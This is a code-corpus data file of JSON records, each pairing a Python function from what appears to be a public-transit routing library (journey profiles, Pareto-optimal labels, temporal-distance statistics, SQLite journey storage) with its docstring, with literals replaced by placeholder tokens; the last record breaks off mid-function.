{"signature": "def get_time_profile_analyzer(self, max_n_boardings=None):", "body": "if max_n_boardings is None:<EOL><INDENT>max_n_boardings = self.max_trip_n_boardings()<EOL><DEDENT>if not max_n_boardings in self._n_boardings_to_simple_time_analyzers:<EOL><INDENT>if max_n_boardings == <NUM_LIT:0>:<EOL><INDENT>valids = []<EOL><DEDENT>else:<EOL><INDENT>candidate_labels = [LabelTimeSimple(label.departure_time, label.arrival_time_target)<EOL>for label in self._node_profile_final_labels if<EOL>((self.start_time_dep <= label.departure_time)<EOL>and label.n_boardings <= max_n_boardings)]<EOL>valids = compute_pareto_front(candidate_labels)<EOL><DEDENT>valids.sort(key=lambda label: -label.departure_time)<EOL>profile = NodeProfileSimple(self._walk_to_target_duration)<EOL>for valid in valids:<EOL><INDENT>profile.update_pareto_optimal_tuples(valid)<EOL><DEDENT>npat = NodeProfileAnalyzerTime.from_profile(profile, self.start_time_dep, self.end_time_dep)<EOL>self._n_boardings_to_simple_time_analyzers[max_n_boardings] = npat<EOL><DEDENT>return self._n_boardings_to_simple_time_analyzers[max_n_boardings]<EOL>", "docstring": "Parameters\n----------\nmax_n_boardings: int\n    The maximum number of boardings allowed for the labels used to construct the \"temporal distance profile\"\n\nReturns\n-------\nanalyzer: NodeProfileAnalyzerTime", "id": "f12871:c0:m10"}
{"signature": "def median_temporal_distances(self, min_n_boardings=None, max_n_boardings=None):", "body": "if min_n_boardings is None:<EOL><INDENT>min_n_boardings = <NUM_LIT:0><EOL><DEDENT>if max_n_boardings is None:<EOL><INDENT>max_n_boardings = self.max_trip_n_boardings()<EOL>if max_n_boardings is None:<EOL><INDENT>max_n_boardings = <NUM_LIT:0><EOL><DEDENT><DEDENT>median_temporal_distances = [float('<STR_LIT>') for _ in range(min_n_boardings, max_n_boardings + <NUM_LIT:1>)]<EOL>for n_boardings in range(min_n_boardings, max_n_boardings + <NUM_LIT:1>):<EOL><INDENT>simple_analyzer = self.get_time_profile_analyzer(n_boardings)<EOL>median_temporal_distances[n_boardings] = simple_analyzer.median_temporal_distance()<EOL><DEDENT>return median_temporal_distances<EOL>", "docstring": "Returns\n-------\nmean_temporal_distances: list\n    list indices encode the number of vehicle legs each element\n    in the list tells gets the mean temporal distance", "id": "f12871:c0:m26"}
{"signature": "def n_pareto_optimal_trips(self):", "body": "return float(len(self._labels_within_time_frame))<EOL>", "docstring": "Get number of pareto-optimal trips\n\nReturns\n-------\nn_trips: float", "id": "f12871:c0:m36"}
{"signature": "def __init__(self,<EOL>transit_events,<EOL>targets,<EOL>start_time_ut=None,<EOL>end_time_ut=None,<EOL>transfer_margin=<NUM_LIT:0>,<EOL>walk_network=None,<EOL>walk_speed=<NUM_LIT>,<EOL>verbose=False,<EOL>track_vehicle_legs=True,<EOL>track_time=True,<EOL>track_route=False):", "body": "AbstractRoutingAlgorithm.__init__(self)<EOL>assert (len(transit_events) == len(set(transit_events))), \"<STR_LIT>\"<EOL>self._transit_connections = transit_events<EOL>if start_time_ut is None:<EOL><INDENT>start_time_ut = transit_events[-<NUM_LIT:1>].departure_time<EOL><DEDENT>if end_time_ut is None:<EOL><INDENT>end_time_ut = transit_events[<NUM_LIT:0>].departure_time<EOL><DEDENT>self._start_time = start_time_ut<EOL>self._end_time = end_time_ut<EOL>self._transfer_margin = transfer_margin<EOL>if walk_network is None:<EOL><INDENT>walk_network = networkx.Graph()<EOL><DEDENT>self._walk_network = walk_network<EOL>self._walk_speed = walk_speed<EOL>self._verbose = verbose<EOL>self._count_vehicle_legs = track_vehicle_legs<EOL>self._consider_time = track_time<EOL>assert(track_time or track_vehicle_legs)<EOL>if track_vehicle_legs:<EOL><INDENT>if track_time:<EOL><INDENT>if track_route:<EOL><INDENT>self._label_class = LabelTimeBoardingsAndRoute<EOL><DEDENT>else:<EOL><INDENT>self._label_class = LabelTimeWithBoardingsCount<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._label_class = LabelVehLegCount<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if track_route:<EOL><INDENT>self._label_class = LabelTimeAndRoute<EOL><DEDENT>else:<EOL><INDENT>self._label_class = LabelTime<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\", str(self._label_class))<EOL>self._stop_departure_times, self._stop_arrival_times = self.__compute_stop_dep_and_arrival_times()<EOL>self._all_nodes = set.union(set(self._stop_departure_times.keys()),<EOL>set(self._stop_arrival_times.keys()),<EOL>set(self._walk_network.nodes()))<EOL>self._pseudo_connections = self.__compute_pseudo_connections()<EOL>self._add_pseudo_connection_departures_to_stop_departure_times()<EOL>self._all_connections = self._pseudo_connections + self._transit_connections<EOL>self._all_connections.sort(key=lambda connection: (-connection.departure_time, -connection.seq))<EOL>self._augment_all_connections_with_arrival_stop_next_dep_time()<EOL>if isinstance(targets, list):<EOL><INDENT>self._targets = targets<EOL><DEDENT>else:<EOL><INDENT>self._targets = [targets]<EOL><DEDENT>self.reset(self._targets)<EOL>", "docstring": "Parameters\n----------\ntransit_events: list[Connection]\n    events are assumed to be ordered in DECREASING departure_time (!)\ntargets: int, list\n    index of the target stop\nstart_time_ut : int, optional\n    start time in unixtime seconds\nend_time_ut: int, optional\n    end time in unixtime seconds (no connections will be scanned after this time)\ntransfer_margin: int, optional\n    required extra margin required for transfers in seconds\nwalk_speed: float, optional\n    walking speed between stops in meters / second.\nwalk_network: networkx.Graph, optional\n    each edge should have the walking distance as a data attribute (\"distance_shape\") expressed in meters\nverbose: boolean, optional\n    whether to print out progress\ntrack_vehicle_legs: boolean, optional\n    whether to consider the number of vehicle legs\ntrack_time: boolean, optional\n    whether to consider time in the set of pareto_optimal", "id": "f12872:c0:m0"}
{"signature": "def _finalize_profiles(self):", "body": "for stop, stop_profile in self._stop_profiles.items():<EOL><INDENT>assert (isinstance(stop_profile, NodeProfileMultiObjective))<EOL>neighbor_label_bags = []<EOL>walk_durations_to_neighbors = []<EOL>departure_arrival_stop_pairs = []<EOL>if stop_profile.get_walk_to_target_duration() != <NUM_LIT:0> and stop in self._walk_network.node:<EOL><INDENT>neighbors = networkx.all_neighbors(self._walk_network, stop)<EOL>for neighbor in neighbors:<EOL><INDENT>neighbor_profile = self._stop_profiles[neighbor]<EOL>assert (isinstance(neighbor_profile, NodeProfileMultiObjective))<EOL>neighbor_real_connection_labels = neighbor_profile.get_labels_for_real_connections()<EOL>neighbor_label_bags.append(neighbor_real_connection_labels)<EOL>walk_durations_to_neighbors.append(int(self._walk_network.get_edge_data(stop, neighbor)[\"<STR_LIT>\"] /<EOL>self._walk_speed))<EOL>departure_arrival_stop_pairs.append((stop, neighbor))<EOL><DEDENT><DEDENT>stop_profile.finalize(neighbor_label_bags, walk_durations_to_neighbors, departure_arrival_stop_pairs)<EOL><DEDENT>", "docstring": "Deal with the first walks by joining profiles to other stops within walking distance.", "id": "f12872:c0:m9"}
{"signature": "@property<EOL><INDENT>def stop_profiles(self):<DEDENT>", "body": "assert self._has_run<EOL>return self._stop_profiles<EOL>", "docstring": "Returns\n-------\n_stop_profiles : dict[int, NodeProfileMultiObjective]\n    The pareto tuples necessary.", "id": "f12872:c0:m10"}
{"signature": "def read_data_as_dataframe(self,<EOL>travel_impedance_measure,<EOL>from_stop_I=None,<EOL>to_stop_I=None,<EOL>statistic=None):", "body": "to_select = []<EOL>where_clauses = []<EOL>to_select.append(\"<STR_LIT>\")<EOL>to_select.append(\"<STR_LIT>\")<EOL>if from_stop_I is not None:<EOL><INDENT>where_clauses.append(\"<STR_LIT>\" + str(int(from_stop_I)))<EOL><DEDENT>if to_stop_I is not None:<EOL><INDENT>where_clauses.append(\"<STR_LIT>\" + str(int(to_stop_I)))<EOL><DEDENT>where_clause = \"<STR_LIT>\"<EOL>if len(where_clauses) > <NUM_LIT:0>:<EOL><INDENT>where_clause = \"<STR_LIT>\" + \"<STR_LIT>\".join(where_clauses)<EOL><DEDENT>if not statistic:<EOL><INDENT>to_select.extend([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>to_select.append(statistic)<EOL><DEDENT>to_select_clause = \"<STR_LIT:U+002C>\".join(to_select)<EOL>if not to_select_clause:<EOL><INDENT>to_select_clause = \"<STR_LIT:*>\"<EOL><DEDENT>sql = \"<STR_LIT>\" + to_select_clause + \"<STR_LIT>\" + travel_impedance_measure + where_clause + \"<STR_LIT:;>\"<EOL>df = pd.read_sql(sql, self.conn)<EOL>return df<EOL>", "docstring": "Recover pre-computed travel_impedance between od-pairs from the database.\n\nReturns\n-------\nvalues: number | Pandas DataFrame", "id": "f12874:c0:m1"}
{"signature": "def insert_data(self, travel_impedance_measure_name, data):", "body": "f = float<EOL>data_tuple = [(int(x[\"<STR_LIT>\"]), int(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"])) for<EOL>x in data]<EOL>insert_stmt = '''<STR_LIT>''' + travel_impedance_measure_name + '''<STR_LIT>'''<EOL>self.conn.executemany(insert_stmt, data_tuple)<EOL>self.conn.commit()<EOL>", "docstring": "Parameters\n----------\ntravel_impedance_measure_name: str\ndata: list[dict]\n    Each list element must contain keys:\n    \"from_stop_I\", \"to_stop_I\", \"min\", \"max\", \"median\" and \"mean\"", "id": "f12874:c0:m5"}
{"signature": "def __init__(self, transit_events, seed_stop, start_time,<EOL>end_time, transfer_margin, walk_network, walk_speed):", "body": "AbstractRoutingAlgorithm.__init__(self)<EOL>self._seed = seed_stop<EOL>self._connections = transit_events<EOL>self._start_time = start_time<EOL>self._end_time = end_time<EOL>self._transfer_margin = transfer_margin<EOL>self._walk_network = walk_network<EOL>self._walk_speed = walk_speed<EOL>self.__stop_labels = defaultdict(lambda: float('<STR_LIT>'))<EOL>self.__stop_labels[seed_stop] = start_time<EOL>self.__trip_reachable = defaultdict(lambda: False)<EOL>", "docstring": "Parameters\n----------\ntransit_events: list[Connection]\nseed_stop: int\n    index of the seed node\nstart_time : int\n    start time in unixtime seconds\nend_time: int\n    end time in unixtime seconds (no new connections will be scanned after this time)\ntransfer_margin: int\n    required extra margin required for transfers in seconds\nwalk_speed: float\n    walking speed between stops in meters / second\nwalk_network: networkx.Graph\n    each edge should have the walking distance as a data attribute (\"d_walk\") expressed in meters", "id": "f12875:c0:m0"}
{"signature": "def get_arrival_times(self):", "body": "assert self._has_run<EOL>return self.__stop_labels<EOL>", "docstring": "Returns\n-------\narrival_times: dict[int, float]\n    maps integer stop_ids to floats", "id": "f12875:c0:m1"}
{"signature": "def _scan_footpaths(self, stop_id, walk_departure_time):", "body": "for _, neighbor, data in self._walk_network.edges_iter(nbunch=[stop_id], data=True):<EOL><INDENT>d_walk = data[\"<STR_LIT>\"]<EOL>arrival_time = walk_departure_time + d_walk / self._walk_speed<EOL>self._update_stop_label(neighbor, arrival_time)<EOL><DEDENT>", "docstring": "Scan the footpaths originating from stop_id\n\nParameters\n----------\nstop_id: int", "id": "f12875:c0:m4"}
{"signature": "def __init__(self,<EOL>dep_times=None,<EOL>walk_to_target_duration=float('<STR_LIT>'),<EOL>label_class=LabelTimeWithBoardingsCount,<EOL>transit_connection_dep_times=None,<EOL>closest_target=None,<EOL>node_id=None):", "body": "if dep_times is None:<EOL><INDENT>dep_times = []<EOL><DEDENT>n_dep_times = len(dep_times)<EOL>assert n_dep_times == len(set(dep_times)), \"<STR_LIT>\"<EOL>self._departure_times = list(reversed(sorted(dep_times)))<EOL>self.dep_times_to_index = dict(zip(self._departure_times, range(len(self._departure_times))))<EOL>self._label_bags = [[]] * len(self._departure_times)<EOL>self._walk_to_target_duration = walk_to_target_duration<EOL>self._min_dep_time = float('<STR_LIT>')<EOL>self.label_class = label_class<EOL>self.closest_target = closest_target<EOL>if self.label_class == LabelTimeBoardingsAndRoute and self._walk_to_target_duration < float('<STR_LIT>'):<EOL><INDENT>assert (self.closest_target is not None)<EOL><DEDENT>if transit_connection_dep_times is not None:<EOL><INDENT>self._connection_dep_times = transit_connection_dep_times<EOL><DEDENT>else:<EOL><INDENT>self._connection_dep_times = dep_times<EOL><DEDENT>assert (isinstance(self._connection_dep_times, (list, numpy.ndarray)))<EOL>self._closed = False<EOL>self._finalized = False<EOL>self._final_pareto_optimal_labels = None<EOL>self._real_connection_labels = None<EOL>self.node_id = node_id<EOL>", "docstring": "Parameters\n----------\ndep_times\nwalk_to_target_duration\nlabel_class: label class to be used\ntransit_connection_dep_times:\n    if not given, all connections are assumed to be real connections\nclosest_target: int, optional\n    stop_I of the closest target if within walking distance (and Routes are recorded)", "id": "f12877:c0:m0"}
{"signature": "def _check_dep_time_is_valid(self, dep_time):", "body": "assert dep_time <= self._min_dep_time, \"<STR_LIT>\"<EOL>dep_time_index = self.dep_times_to_index[dep_time]<EOL>if self._min_dep_time < float('<STR_LIT>'):<EOL><INDENT>min_dep_index = self.dep_times_to_index[self._min_dep_time]<EOL>assert min_dep_index == dep_time_index or (min_dep_index == dep_time_index - <NUM_LIT:1>),\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>assert dep_time_index is <NUM_LIT:0>, \"<STR_LIT>\"<EOL><DEDENT>self._min_dep_time = dep_time<EOL>", "docstring": "A simple checker, that connections are coming in descending order of departure time\nand that no departure time has been \"skipped\".\n\nParameters\n----------\ndep_time\n\nReturns\n-------\nNone", "id": "f12877:c0:m1"}
{"signature": "def get_walk_to_target_duration(self):", "body": "return self._walk_to_target_duration<EOL>", "docstring": "Get walking distance to target node.\n\nReturns\n-------\nwalk_to_target_duration: float", "id": "f12877:c0:m2"}
{"signature": "def update(self, new_labels, departure_time_backup=None):", "body": "if self._closed:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>departure_time = next(iter(new_labels)).departure_time<EOL><DEDENT>except StopIteration:<EOL><INDENT>departure_time = departure_time_backup<EOL><DEDENT>self._check_dep_time_is_valid(departure_time)<EOL>for new_label in new_labels:<EOL><INDENT>assert (new_label.departure_time == departure_time)<EOL><DEDENT>dep_time_index = self.dep_times_to_index[departure_time]<EOL>if dep_time_index > <NUM_LIT:0>:<EOL><INDENT>mod_prev_labels = [label.get_copy_with_specified_departure_time(departure_time) for label<EOL>in self._label_bags[dep_time_index - <NUM_LIT:1>]]<EOL><DEDENT>else:<EOL><INDENT>mod_prev_labels = list()<EOL><DEDENT>mod_prev_labels += self._label_bags[dep_time_index]<EOL>walk_label = self._get_label_to_target(departure_time)<EOL>if walk_label:<EOL><INDENT>new_labels = new_labels + [walk_label]<EOL><DEDENT>new_frontier = merge_pareto_frontiers(new_labels, mod_prev_labels)<EOL>self._label_bags[dep_time_index] = new_frontier<EOL>return True<EOL>", "docstring": "Update the profile with the new labels.\nEach new label should have the same departure_time.\n\nParameters\n----------\nnew_labels: list[LabelTime]\n\nReturns\n-------\nadded: bool\n    whether new_pareto_tuple was added to the set of pareto-optimal tuples", "id": "f12877:c0:m3"}
{"signature": "def evaluate(self, dep_time, first_leg_can_be_walk=True, connection_arrival_time=None):", "body": "walk_labels = list()<EOL>if first_leg_can_be_walk and self._walk_to_target_duration != float('<STR_LIT>'):<EOL><INDENT>if connection_arrival_time is not None:<EOL><INDENT>walk_labels.append(self._get_label_to_target(connection_arrival_time))<EOL><DEDENT>else:<EOL><INDENT>walk_labels.append(self._get_label_to_target(dep_time))<EOL><DEDENT><DEDENT>if dep_time in self.dep_times_to_index:<EOL><INDENT>assert (dep_time != float('<STR_LIT>'))<EOL>index = self.dep_times_to_index[dep_time]<EOL>labels = self._label_bags[index]<EOL>pareto_optimal_labels = merge_pareto_frontiers(labels, walk_labels)<EOL><DEDENT>else:<EOL><INDENT>pareto_optimal_labels = walk_labels<EOL><DEDENT>if not first_leg_can_be_walk:<EOL><INDENT>pareto_optimal_labels = [label for label in pareto_optimal_labels if not label.first_leg_is_walk]<EOL><DEDENT>return pareto_optimal_labels<EOL>", "docstring": "Get the pareto_optimal set of Labels, given a departure time.\n\nParameters\n----------\ndep_time : float, int\n    time in unix seconds\nfirst_leg_can_be_walk : bool, optional\n    whether to allow walking to target to be included into the profile\n    (I.e. whether this function is called when scanning a pseudo-connection:\n    \"double\" walks are not allowed.)\nconnection_arrival_time: float, int, optional\n    used for computing the walking label if dep_time, i.e., connection.arrival_stop_next_departure_time, is infinity)\nconnection: connection object\n\nReturns\n-------\npareto_optimal_labels : set\n    Set of Labels", "id": "f12877:c0:m4"}
{"signature": "def get_final_optimal_labels(self):", "body": "assert self._finalized, \"<STR_LIT>\"<EOL>return self._final_pareto_optimal_labels<EOL>", "docstring": "Get pareto-optimal labels.\n\nReturns\n-------", "id": "f12877:c0:m7"}
{"signature": "def finalize(self, neighbor_label_bags=None, walk_durations=None, departure_arrival_stop_pairs=None):", "body": "assert (not self._finalized)<EOL>if self._final_pareto_optimal_labels is None:<EOL><INDENT>self._compute_real_connection_labels()<EOL><DEDENT>if neighbor_label_bags is not None:<EOL><INDENT>assert (len(walk_durations) == len(neighbor_label_bags))<EOL>self._compute_final_pareto_optimal_labels(neighbor_label_bags,<EOL>walk_durations,<EOL>departure_arrival_stop_pairs)<EOL><DEDENT>else:<EOL><INDENT>self._final_pareto_optimal_labels = self._real_connection_labels<EOL><DEDENT>self._finalized = True<EOL>self._closed = True<EOL>", "docstring": "Parameters\n----------\nneighbor_label_bags: list\n    each list element is a list of labels corresponding to a neighboring node\n     (note: only labels with first connection being a departure should be included)\nwalk_durations: list\ndeparture_arrival_stop_pairs: list of tuples\nReturns\n-------\nNone", "id": "f12877:c0:m8"}
{"signature": "def __init__(self, profile_blocks, cutoff_distance=None, **kwargs):", "body": "for i, block in enumerate(profile_blocks[:-<NUM_LIT:1>]):<EOL><INDENT>assert block.start_time < block.end_time<EOL>assert block.end_time == profile_blocks[i + <NUM_LIT:1>].start_time<EOL>assert block.distance_start >= block.distance_end<EOL><DEDENT>self._profile_blocks = profile_blocks<EOL>self._start_time = profile_blocks[<NUM_LIT:0>].start_time<EOL>self._end_time = profile_blocks[-<NUM_LIT:1>].end_time<EOL>self._cutoff_distance = cutoff_distance<EOL>if cutoff_distance is not None:<EOL><INDENT>self._apply_cutoff(cutoff_distance)<EOL><DEDENT>self.from_stop_I = None<EOL>self.to_stop_I = None<EOL>for key, value in kwargs.items():<EOL><INDENT>if key == \"<STR_LIT>\":<EOL><INDENT>self.from_stop_I = value<EOL><DEDENT>if key == \"<STR_LIT>\":<EOL><INDENT>self.to_stop_I = value<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\nprofile_blocks: list[gtfspy.routing.profile_block.ProfileBlock]", "id": "f12878:c0:m0"}
{"signature": "def largest_finite_distance(self):", "body": "block_start_distances = [block.distance_start for block in self._profile_blocks if<EOL>block.distance_start < float('<STR_LIT>')]<EOL>block_end_distances = [block.distance_end for block in self._profile_blocks if<EOL>block.distance_end < float('<STR_LIT>')]<EOL>distances = block_start_distances + block_end_distances<EOL>if len(distances) > <NUM_LIT:0>:<EOL><INDENT>return max(distances)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Compute the maximum temporal distance.\n\nReturns\n-------\nmax_temporal_distance : float", "id": "f12878:c0:m6"}
{"signature": "def _temporal_distance_cdf(self):", "body": "distance_split_points = set()<EOL>for block in self._profile_blocks:<EOL><INDENT>if block.distance_start != float('<STR_LIT>'):<EOL><INDENT>distance_split_points.add(block.distance_end)<EOL>distance_split_points.add(block.distance_start)<EOL><DEDENT><DEDENT>distance_split_points_ordered = numpy.array(sorted(list(distance_split_points)))<EOL>temporal_distance_split_widths = distance_split_points_ordered[<NUM_LIT:1>:] - distance_split_points_ordered[:-<NUM_LIT:1>]<EOL>trip_counts = numpy.zeros(len(temporal_distance_split_widths))<EOL>delta_peaks = defaultdict(lambda: <NUM_LIT:0>)<EOL>for block in self._profile_blocks:<EOL><INDENT>if block.distance_start == block.distance_end:<EOL><INDENT>delta_peaks[block.distance_end] += block.width()<EOL><DEDENT>else:<EOL><INDENT>start_index = numpy.searchsorted(distance_split_points_ordered, block.distance_end)<EOL>end_index = numpy.searchsorted(distance_split_points_ordered, block.distance_start)<EOL>trip_counts[start_index:end_index] += <NUM_LIT:1><EOL><DEDENT><DEDENT>unnormalized_cdf = numpy.array([<NUM_LIT:0>] + list(numpy.cumsum(temporal_distance_split_widths * trip_counts)))<EOL>if not (numpy.isclose(<EOL>[unnormalized_cdf[-<NUM_LIT:1>]],<EOL>[self._end_time - self._start_time - sum(delta_peaks.values())], atol=<NUM_LIT><EOL>).all()):<EOL><INDENT>print(unnormalized_cdf[-<NUM_LIT:1>], self._end_time - self._start_time - sum(delta_peaks.values()))<EOL>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if len(delta_peaks) > <NUM_LIT:0>:<EOL><INDENT>for peak in delta_peaks.keys():<EOL><INDENT>if peak == float('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>index = numpy.nonzero(distance_split_points_ordered == peak)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>unnormalized_cdf = numpy.insert(unnormalized_cdf, index, unnormalized_cdf[index])<EOL>distance_split_points_ordered = numpy.insert(distance_split_points_ordered, index,<EOL>distance_split_points_ordered[index])<EOL>unnormalized_cdf[(index + <NUM_LIT:1>):] = unnormalized_cdf[(index + <NUM_LIT:1>):] + delta_peaks[peak]<EOL><DEDENT><DEDENT>norm_cdf = unnormalized_cdf / (unnormalized_cdf[-<NUM_LIT:1>] + delta_peaks[float('<STR_LIT>')])<EOL>return distance_split_points_ordered, norm_cdf<EOL>", "docstring": "Temporal distance cumulative density function.\n\nReturns\n-------\nx_values: numpy.array\n    values for the x-axis\ncdf: numpy.array\n    cdf values", "id": "f12878:c0:m8"}
{"signature": "def _temporal_distance_pdf(self):", "body": "temporal_distance_split_points_ordered, norm_cdf = self._temporal_distance_cdf()<EOL>delta_peak_loc_to_probability_mass = {}<EOL>non_delta_peak_split_points = [temporal_distance_split_points_ordered[<NUM_LIT:0>]]<EOL>non_delta_peak_densities = []<EOL>for i in range(<NUM_LIT:0>, len(temporal_distance_split_points_ordered) - <NUM_LIT:1>):<EOL><INDENT>left = temporal_distance_split_points_ordered[i]<EOL>right = temporal_distance_split_points_ordered[i + <NUM_LIT:1>]<EOL>width = right - left<EOL>prob_mass = norm_cdf[i + <NUM_LIT:1>] - norm_cdf[i]<EOL>if width == <NUM_LIT:0.0>:<EOL><INDENT>delta_peak_loc_to_probability_mass[left] = prob_mass<EOL><DEDENT>else:<EOL><INDENT>non_delta_peak_split_points.append(right)<EOL>non_delta_peak_densities.append(prob_mass / float(width))<EOL><DEDENT><DEDENT>assert (len(non_delta_peak_densities) == len(non_delta_peak_split_points) - <NUM_LIT:1>)<EOL>return numpy.array(non_delta_peak_split_points),numpy.array(non_delta_peak_densities), delta_peak_loc_to_probability_mass<EOL>", "docstring": "Temporal distance probability density function.\n\nReturns\n-------\nnon_delta_peak_split_points: numpy.array\nnon_delta_peak_densities: numpy.array\n    len(density) == len(temporal_distance_split_points_ordered) -1\ndelta_peak_loc_to_probability_mass : dict", "id": "f12878:c0:m9"}
{"signature": "def get_upstream_stops_ratio(self, target, trough_stops, ratio):", "body": "if isinstance(trough_stops, list):<EOL><INDENT>trough_stops = \"<STR_LIT:U+002C>\".join(trough_stops)<EOL><DEDENT>query = \"\"\"<STR_LIT>\"\"\".format(target=target, trough_stops=trough_stops, ratio=ratio)<EOL>df = read_sql_query(query, self.conn)<EOL>return df<EOL>", "docstring": "Selects the stops for which the ratio or higher proportion of trips to the target passes trough a set of trough stops\n:param target: target of trips\n:param trough_stops: stops where the selected trips are passing trough\n:param ratio: threshold for inclusion\n:return:", "id": "f12892:c0:m10"}
{"signature": "def passing_journeys_per_stop(self):", "body": "pass<EOL>", "docstring": ":return:", "id": "f12892:c0:m11"}
{"signature": "def n_departure_stop_alternatives(self):", "body": "pass<EOL>", "docstring": ":return:", "id": "f12892:c0:m13"}
{"signature": "def get_journey_time(self):", "body": "pass<EOL>", "docstring": "(using the connection objects)\n:return:", "id": "f12892:c0:m21"}
{"signature": "def get_journey_time_per_mode(self, modes=None):", "body": "pass<EOL>", "docstring": ":param modes: return these\n:return:", "id": "f12892:c0:m22"}
{"signature": "def __init__(self, gtfs_path, journey_db_path, routing_params=None, multitarget_routing=False,<EOL>track_vehicle_legs=True, track_route=False):", "body": "self.multitarget_routing = multitarget_routing<EOL>self.track_route = track_route<EOL>self.track_vehicle_legs = track_vehicle_legs<EOL>self.gtfs_path = gtfs_path<EOL>self.gtfs = GTFS(self.gtfs_path)<EOL>self.gtfs_meta = self.gtfs.meta<EOL>self.gtfs._dont_close = True<EOL>self.od_pairs = None<EOL>self._targets = None<EOL>self._origins = None<EOL>self.diff_conn = None<EOL>if not routing_params:<EOL><INDENT>routing_params = dict()<EOL><DEDENT>self.routing_params_input = routing_params<EOL>assert os.path.exists(journey_db_path) or routing_params is not None<EOL>journey_db_pre_exists = os.path.isfile(journey_db_path)<EOL>timeout = <NUM_LIT:1000><EOL>self.conn = sqlite3.connect(journey_db_path, timeout)<EOL>if not journey_db_pre_exists:<EOL><INDENT>self.initialize_database()<EOL><DEDENT>self.routing_parameters = Parameters(self.conn)<EOL>self._assert_journey_computation_paramaters_match()<EOL>self.journey_properties = {\"<STR_LIT>\": (_T_WALK_STR, _T_WALK_STR)}<EOL>if routing_params.get('<STR_LIT>', False) orself.routing_parameters.get('<STR_LIT>', False):<EOL><INDENT>self.journey_properties[\"<STR_LIT>\"] = (float(\"<STR_LIT>\"), <NUM_LIT:0>)<EOL><DEDENT>if self.track_route:<EOL><INDENT>additional_journey_parameters = {<EOL>\"<STR_LIT>\": (float('<STR_LIT>'), <NUM_LIT:0>),<EOL>\"<STR_LIT>\": (float('<STR_LIT>'), <NUM_LIT:0>),<EOL>\"<STR_LIT>\": (_T_WALK_STR, _T_WALK_STR),<EOL>\"<STR_LIT>\": (float('<STR_LIT>'), <NUM_LIT:0>)<EOL>}<EOL>self.journey_properties.update(additional_journey_parameters)<EOL><DEDENT>self.travel_impedance_measure_names = list(self.journey_properties.keys())<EOL>self.travel_impedance_measure_names += [\"<STR_LIT>\"]<EOL>", "docstring": ":param gtfs: GTFS object\n:param list_of_stop_profiles: dict of NodeProfileMultiObjective\n:param multitarget_routing: bool", "id": "f12893:c0:m0"}
{"signature": "@timeit<EOL><INDENT>def import_journey_data_for_target_stop(self, target_stop_I, origin_stop_I_to_journey_labels, enforce_synchronous_writes=False):<DEDENT>", "body": "cur = self.conn.cursor()<EOL>self.conn.isolation_level = '<STR_LIT>'<EOL>cur.execute('<STR_LIT>')<EOL>if self.track_route:<EOL><INDENT>self._insert_journeys_with_route_into_db(origin_stop_I_to_journey_labels, target_stop=int(target_stop_I))<EOL><DEDENT>else:<EOL><INDENT>self._insert_journeys_into_db_no_route(origin_stop_I_to_journey_labels, target_stop=int(target_stop_I))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>self.conn.commit()<EOL>", "docstring": "Parameters\n----------\norigin_stop_I_to_journey_labels: dict\n    key: origin_stop_Is\n    value: list of labels\ntarget_stop_I: int", "id": "f12893:c0:m2"}
{"signature": "def _insert_journeys_into_db_no_route(self, stop_profiles, target_stop=None):<EOL>", "body": "print(\"<STR_LIT>\")<EOL>journey_id = <NUM_LIT:1><EOL>journey_list = []<EOL>tot = len(stop_profiles)<EOL>for i, (origin_stop, labels) in enumerate(stop_profiles.items(), start=<NUM_LIT:1>):<EOL><INDENT>for label in labels:<EOL><INDENT>assert (isinstance(label, LabelTimeWithBoardingsCount))<EOL>if self.multitarget_routing:<EOL><INDENT>target_stop = None<EOL><DEDENT>else:<EOL><INDENT>target_stop = int(target_stop)<EOL><DEDENT>values = [int(journey_id),<EOL>int(origin_stop),<EOL>target_stop,<EOL>int(label.departure_time),<EOL>int(label.arrival_time_target),<EOL>int(label.n_boardings)]<EOL>journey_list.append(values)<EOL>journey_id += <NUM_LIT:1><EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>insert_journeys_stmt = '''<STR_LIT>''' % (\"<STR_LIT:U+002CU+0020>\".join([\"<STR_LIT:?>\" for x in range(<NUM_LIT:6>)]))<EOL>self._executemany_exclusive(insert_journeys_stmt, journey_list)<EOL>self.conn.commit()<EOL>", "docstring": "con.isolation_level = 'EXCLUSIVE'\ncon.execute('BEGIN EXCLUSIVE')\n#exclusive access starts here. Nothing else can r/w the db, do your magic here.\ncon.commit()", "id": "f12893:c0:m5"}
{"signature": "def _journey_label_generator(self, destination_stop_Is=None, origin_stop_Is=None):", "body": "conn = self.conn<EOL>conn.row_factory = sqlite3.Row<EOL>if destination_stop_Is is None:<EOL><INDENT>destination_stop_Is = self.get_targets_having_journeys()<EOL><DEDENT>if origin_stop_Is is None:<EOL><INDENT>origin_stop_Is = self.get_origins_having_journeys()<EOL><DEDENT>for destination_stop_I in destination_stop_Is:<EOL><INDENT>if self.track_route:<EOL><INDENT>label_features = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>label_features = \"<STR_LIT>\"\"<STR_LIT>\"<EOL><DEDENT>sql = \"<STR_LIT>\" + label_features + \"<STR_LIT>\" % destination_stop_I<EOL>df = pd.read_sql_query(sql, self.conn)<EOL>for origin_stop_I in origin_stop_Is:<EOL><INDENT>selection = df.loc[df['<STR_LIT>'] == origin_stop_I]<EOL>journey_labels = []<EOL>for journey in selection.to_dict(orient='<STR_LIT>'):<EOL><INDENT>journey[\"<STR_LIT>\"] = -<NUM_LIT:1><EOL>try:<EOL><INDENT>journey_labels.append(LabelGeneric(journey))<EOL><DEDENT>except Exception as 